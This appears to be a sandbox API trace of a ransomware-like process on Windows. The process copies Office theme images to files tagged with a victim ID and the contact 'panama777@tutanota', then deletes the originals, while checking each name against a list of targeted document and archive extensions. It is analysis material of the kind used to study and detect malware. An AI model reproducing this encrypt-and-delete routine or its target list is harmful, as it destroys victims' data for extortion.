	[0051.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.089] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.089] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0051.093] GetLastError () returned 0x0
	[0051.093] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x143b, lpOverlapped=0x0) returned 1
	[0051.095] WriteFile (in: hFile=0x20c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x1440, lpOverlapped=0x0) returned 1
	[0051.096] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.096] WriteFile (in: hFile=0x20c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.096] SetEndOfFile (hFile=0x20c) returned 1
	[0051.096] CloseHandle (hObject=0x20c) returned 1
	[0051.097] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.097] SetEndOfFile (hFile=0x200) returned 1
	[0051.097] CloseHandle (hObject=0x200) returned 1
	[0051.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.098] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1
	[0051.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.098] lstrlenW (lpString=".doc") returned 4
	[0051.098] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.098] lstrlenW (lpString=".docx") returned 5
	[0051.098] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.098] lstrlenW (lpString=".pdf") returned 4
	[0051.098] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.098] lstrlenW (lpString=".xls") returned 4
	[0051.098] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.098] lstrlenW (lpString=".xlsx") returned 5
	[0051.098] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.098] lstrlenW (lpString=".ppt") returned 4
	[0051.098] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.098] lstrlenW (lpString=".zip") returned 4
	[0051.098] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.098] lstrlenW (lpString=".rar") returned 4
	[0051.099] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.099] lstrlenW (lpString=".bz2") returned 4
	[0051.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.099] lstrlenW (lpString=".7z") returned 3
	[0051.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.099] lstrlenW (lpString=".dbf") returned 4
	[0051.099] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.099] lstrlenW (lpString=".1cd") returned 4
	[0051.099] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.099] lstrlenW (lpString=".jpg") returned 4
	[0051.099] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.099] lstrlenW (lpString=".doc") returned 4
	[0051.099] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.099] lstrlenW (lpString=".docx") returned 5
	[0051.099] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.099] lstrlenW (lpString=".pdf") returned 4
	[0051.099] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.099] lstrlenW (lpString=".xls") returned 4
	[0051.099] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.099] lstrlenW (lpString=".xlsx") returned 5
	[0051.099] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.099] lstrlenW (lpString=".ppt") returned 4
	[0051.099] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.099] lstrlenW (lpString=".zip") returned 4
	[0051.099] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.100] lstrlenW (lpString=".rar") returned 4
	[0051.100] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.100] lstrlenW (lpString=".bz2") returned 4
	[0051.100] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.100] lstrlenW (lpString=".7z") returned 3
	[0051.100] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.100] lstrlenW (lpString=".dbf") returned 4
	[0051.100] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.100] lstrlenW (lpString=".1cd") returned 4
	[0051.100] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74
	[0051.100] lstrlenW (lpString=".jpg") returned 4
	[0051.100] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.100] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.100] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.101] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=33559) returned 1
	[0051.101] CloseHandle (hObject=0x200) returned 1
	[0051.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20
	[0051.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.101] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.101] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0051.101] GetLastError () returned 0x0
	[0051.102] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x8317, lpOverlapped=0x0) returned 1
	[0051.104] WriteFile (in: hFile=0x20c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x8320, lpOverlapped=0x0) returned 1
	[0051.106] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.106] WriteFile (in: hFile=0x20c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.106] SetEndOfFile (hFile=0x20c) returned 1
	[0051.106] CloseHandle (hObject=0x20c) returned 1
	[0051.106] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.106] SetEndOfFile (hFile=0x200) returned 1
	[0051.107] CloseHandle (hObject=0x200) returned 1
	[0051.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1
	[0051.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.108] lstrlenW (lpString=".doc") returned 4
	[0051.108] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.108] lstrlenW (lpString=".docx") returned 5
	[0051.108] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.108] lstrlenW (lpString=".pdf") returned 4
	[0051.108] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.108] lstrlenW (lpString=".xls") returned 4
	[0051.108] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.108] lstrlenW (lpString=".xlsx") returned 5
	[0051.108] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.108] lstrlenW (lpString=".ppt") returned 4
	[0051.108] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.108] lstrlenW (lpString=".zip") returned 4
	[0051.108] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.108] lstrlenW (lpString=".rar") returned 4
	[0051.108] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.108] lstrlenW (lpString=".bz2") returned 4
	[0051.108] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.108] lstrlenW (lpString=".7z") returned 3
	[0051.108] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.108] lstrlenW (lpString=".dbf") returned 4
	[0051.108] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.108] lstrlenW (lpString=".1cd") returned 4
	[0051.109] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.109] lstrlenW (lpString=".jpg") returned 4
	[0051.109] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.109] lstrlenW (lpString=".doc") returned 4
	[0051.109] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.109] lstrlenW (lpString=".docx") returned 5
	[0051.109] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.109] lstrlenW (lpString=".pdf") returned 4
	[0051.109] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.109] lstrlenW (lpString=".xls") returned 4
	[0051.109] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.109] lstrlenW (lpString=".xlsx") returned 5
	[0051.109] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.109] lstrlenW (lpString=".ppt") returned 4
	[0051.109] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.109] lstrlenW (lpString=".zip") returned 4
	[0051.109] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.109] lstrlenW (lpString=".rar") returned 4
	[0051.109] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.109] lstrlenW (lpString=".bz2") returned 4
	[0051.109] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.109] lstrlenW (lpString=".7z") returned 3
	[0051.109] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.109] lstrlenW (lpString=".dbf") returned 4
	[0051.110] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.110] lstrlenW (lpString=".1cd") returned 4
	[0051.110] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0051.110] lstrlenW (lpString=".jpg") returned 4
	[0051.110] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.110] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.110] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.110] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2476) returned 1
	[0051.110] CloseHandle (hObject=0x200) returned 1
	[0051.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20
	[0051.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.111] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.111] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0051.667] GetLastError () returned 0x0
	[0051.667] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x9ac, lpOverlapped=0x0) returned 1
	[0051.671] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x9b0, lpOverlapped=0x0) returned 1
	[0051.672] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.672] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.672] SetEndOfFile (hFile=0x1e8) returned 1
	[0051.672] CloseHandle (hObject=0x1e8) returned 1
	[0051.673] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.673] SetEndOfFile (hFile=0x200) returned 1
	[0051.674] CloseHandle (hObject=0x200) returned 1
	[0051.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.674] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1
	[0051.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.674] lstrlenW (lpString=".doc") returned 4
	[0051.674] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.674] lstrlenW (lpString=".docx") returned 5
	[0051.674] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.674] lstrlenW (lpString=".pdf") returned 4
	[0051.674] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString=".xls") returned 4
	[0051.675] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString=".xlsx") returned 5
	[0051.675] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.675] lstrlenW (lpString=".ppt") returned 4
	[0051.675] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.675] lstrlenW (lpString=".zip") returned 4
	[0051.675] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString=".rar") returned 4
	[0051.675] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString=".bz2") returned 4
	[0051.675] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.675] lstrlenW (lpString=".7z") returned 3
	[0051.675] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.675] lstrlenW (lpString=".dbf") returned 4
	[0051.675] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.675] lstrlenW (lpString=".1cd") returned 4
	[0051.675] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.675] lstrlenW (lpString=".jpg") returned 4
	[0051.675] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.675] lstrlenW (lpString=".doc") returned 4
	[0051.675] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.675] lstrlenW (lpString=".docx") returned 5
	[0051.676] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.676] lstrlenW (lpString=".pdf") returned 4
	[0051.676] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.676] lstrlenW (lpString=".xls") returned 4
	[0051.676] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.676] lstrlenW (lpString=".xlsx") returned 5
	[0051.676] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.676] lstrlenW (lpString=".ppt") returned 4
	[0051.676] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.676] lstrlenW (lpString=".zip") returned 4
	[0051.676] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.676] lstrlenW (lpString=".rar") returned 4
	[0051.676] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.676] lstrlenW (lpString=".bz2") returned 4
	[0051.676] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.676] lstrlenW (lpString=".7z") returned 3
	[0051.676] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.676] lstrlenW (lpString=".dbf") returned 4
	[0051.676] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.676] lstrlenW (lpString=".1cd") returned 4
	[0051.676] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0051.676] lstrlenW (lpString=".jpg") returned 4
	[0051.676] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.677] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.677] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.677] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1364) returned 1
	[0051.677] CloseHandle (hObject=0x200) returned 1
	[0051.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20
